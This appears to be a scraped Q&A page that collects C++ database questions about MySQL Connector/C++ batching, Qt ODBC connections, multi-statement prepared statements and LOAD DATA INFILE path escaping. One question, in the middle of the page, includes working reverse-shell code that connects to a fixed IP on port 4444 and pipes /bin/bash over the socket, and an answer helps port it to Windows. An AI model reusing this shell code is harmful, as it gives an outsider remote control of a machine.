I have a c++ program on a [g++ (Debian 4.7.2-5) 4.7.2] debian OS working.
I am using the "libmysqlcppconn-dev" and do my compiling with the following command:
g++ -Wall xxx.cpp -o xxx -lmysqlcppconn
My part of code is the following
#include <iostream>
#include <stdlib.h>
#include <sstream>
...
#include "mysql_connection.h"
#include <cppconn/driver.h>
#include <cppconn/exception.h>
#include <cppconn/resultset.h>
#include <cppconn/statement.h>
#include <cppconn/prepared_statement.h>
using namespace std;
sql::Driver *driver;
sql::Connection *con;
sql::Statement *stmt;
sql::ResultSet *res;
sql::PreparedStatement *pstmt;
int main(){
driver = get_driver_instance();
con = driver->connect("tcp://127.0.0.1:3306", "xxx", "xxx");
con->setSchema("xxx");
pstmt = con->prepareStatement("update test set `data1`=?, `data2`=? where `data3`=?");
pstmt->setInt(1, 1);
pstmt->setString(2, "asdf");
pstmt->setString(2, "qwer");
pstmt->addBatch();
return true;
}
The compiler complains about that addBatch() is not a known function in pstmt.
My goal is to use more updates and collect them as jobs.
Any idea what I am missing here? Thanks in advance.
Related
I'm just trying to learn how to connect to a SQL database from C++. I'm not actually getting errors at this team. Just when I run a boolean to test my connection it always come back false. I'm going to put the code I'm using below. I'm assuming there is an error in the in how I'm inputting the DB information.
#include "yslwidget.h"
#include <QApplication>
#include <QLocale>
#include <QTranslator>
#include <QSqlDatabase>
#include <iostream>
int main(int argc, char *argv[])
{
QSqlDatabase db = QSqlDatabase::addDatabase("QODBC");
db.setHostName("LAPTOP-BEKKETLP");
db.setDatabaseName("YSLDB");
db.setUserName("User");
db.setPassword("password");
bool ok = db.open();
qDebug()<<ok;
}
I'm currently working on a c++ project regarding a TCP Remote shell. Therefore I build the following code. As I'm working on windows, I found substitute libraries and headers for all of the following "#include", except for <netinet/in.h>
Thanks for all your help!
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\sys\socket.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\unistd.h>
#include <Winsock2.h>
//#include <netinet/in.h>
#include <C:\Documents\Visual Studio 2019\libunistd-master\unistd\arpa/inet.h>
int main(void) {
int sockt;
int port = 4444;
struct sockaddr_in revsockaddr;
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.106");
connect(sockt, (struct sockaddr*)&revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char* const argv[] = {"/bin/bash", NULL };
execve("/bin/bash", argv, NULL);
return 0;
}
´´´´´´
Do not try to find a match for your include files from Linux to Windows. Instead, try to compile your code step by step and add those include files that you need. What I can see in the code:
Instead of inet_addr you can use inet_pton that is inside the <Ws2tcpip.h> include file.
Instead of dub2 use _dub2 in windows, that is inside <io.h>.
instead of execve, use std::system.
I have a C++ project running on Linux and gcc/g++ 4.8. I am using MySql database version 5.7 and MySql C++ connector API 1.1.12. I am trying to execute two insert statements (each for a different table) separated by a semicolon. I got this working for Statements but not for PreparedStatements. See code sample below:
#include "mysql_connection.h"
#include <cppconn/driver.h>
#include <cppconn/exception.h>
#include <cppconn/resultset.h>
#include <cppconn/statement.h>
#include <cppconn/prepared_statement.h>
....
sql::Driver* driver;
sql::Connection *con;
sql::Statement *stmt;
sql::ResultSet *res;
sql::ConnectOptionsMap options;
options["hostName"] = "tcp://127.0.0.1";
options["userName"] = "user";
options["password"] = "password";
options["schema"] = "test_db";
options["port"] = 3306;
options["CLIENT_MULTI_STATEMENTS"] = true;
driver = get_driver_instance();
con = driver->connect(options);
Against that setup, I tried to run either of the following options:
//option 1: works
stmt = con->createStatement();
stmt -> execute("INSERT INTO T_TEST1(TEST1) VALUES ('VALUE1');INSERT INTO T_TEST2(TEST2) VALUES ('VALUE2')");
//option 2: does not work
sql::PreparedStatement *pstmt = con->prepareStatement("INSERT INTO T_TEST1(TEST1) VALUES ('VALUE1');INSERT INTO T_TEST2(TEST2) VALUES ('VALUE2')");
pstmt->executeUpdate();
Option 1 works. Option 2 but throws the following error:
# ERR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'INSERT INTO T_TEST2(TEST2) VALUES ('TEST9')' at line 1 (MySQL error code: 1064, SQLState: 42000 )
Is there any way to make option 2 work?
I'm trying to insert data in a .txt file into MySQL.
Following is the code, I tried so far
#include <stdlib.h>
#include <iostream>
#include <chrono>
#include <cppconn/driver.h>
#include <cppconn/exception.h>
#include <cppconn/resultset.h>
#include <cppconn/statement.h>
#include <cppconn/prepared_statement.h>
#define HOST "localhost"
#define USER "root"
#define PASS "admin"
#define DB "test_index"
using namespace std;
int main(int argc, const char **argv)
{
const string url = HOST;
const string user = USER;
const string pass = PASS;
const string database = DB;
sql::Driver *driver = NULL;
sql::Connection *con = NULL;
//sql::Statement *stmt;
sql::ResultSet *res = NULL;
/* Create a connection */
driver = get_driver_instance();
con = driver->connect("tcp://127.0.0.1:3306", "root", "admin");
/* Connect to the MySQL test database */
con->setSchema("test_index");
sql::PreparedStatement *prep_stmt = NULL;
prep_stmt = con->prepareStatement("LOAD DATA INFILE 'C:\ProgramData\MySQL\MySQL Server 8.0\Data\test_index\data.txt' INTO TABLE dataload_file_raw fields terminated by '\t'");
bool ret = prep_stmt->execute();
cout << "The data is inserted" << ret << endl;
delete res;
delete prep_stmt;
con->close();
return 0;
}
The program is failing when it is trying to execute prep_stmt->execute(). Is there any extra configuration I need to do here?
I'm guessing you need to escape the backslashes in your SQL string.
So instead of
"LOAD DATA INFILE 'C:\ProgramData\MySQL..."
You should have
"LOAD DATA INFILE 'C:\\ProgramData\\MySQL..."
Otherwise the C++ compiler will be turning your the '\P' (at the start of ProgramData) into something and '\M' (at the start of MySQL) into something else, which means it'll be trying to hit the wrong path and probably failing because of that. Every backslash in your string will need to be escaped.
You may also want to look into setting up try/catch for the MySQL error reporting, then it'll tell you straightforwardly what went wrong.
My simple mysql c++ connector program is throwing error 15. What does this mean? The code was taken directly from the online documentation. I can't find the error codes documented anywhere. It's strange because the data ends up getting inserted into the table . Yes i know my statements should be parameterized to avoid SQL injection , this is just a simple test program.
#include <stdlib.h>
#include <iostream>
/*
Include directly the different
headers from cppconn/ and mysql_driver.h + mysql_util.h
(and mysql_connection.h). This will reduce your build time!
*/
#include "mysql_connection.h"
#include <cppconn/driver.h>
#include <cppconn/exception.h>
#include <cppconn/resultset.h>
#include <cppconn/statement.h>
using namespace std;
int main(void)
{
try {
sql::Driver *driver;
sql::Connection *con;
sql::Statement *stmt;
sql::ResultSet *res;
/* Create a connection */
driver = get_driver_instance();
con = driver->connect("tcp://127.0.0.1:3306", "root", "1092Wilda");
/* Connect to the MySQL test database */
con->setSchema("test");
stmt = con->createStatement();
res = stmt->executeQuery("INSERT INTO bung VALUES ('39', 'TestVal')");
delete res;
delete stmt;
delete con;
} catch (sql::SQLException &e) {
cout << e.getErrorCode();
}
cout << endl;
return EXIT_SUCCESS;
}
after digging around in the header file statement.h i found out that there was a function called executeUpdate (function header below)
virtual int executeUpdate(const sql::SQLString& sql) = 0;
this ended up doing what i wanted to do. program added values into database without throwing any exceptions.
i wish the mySQL C++ connector library wasn't so poorly documented.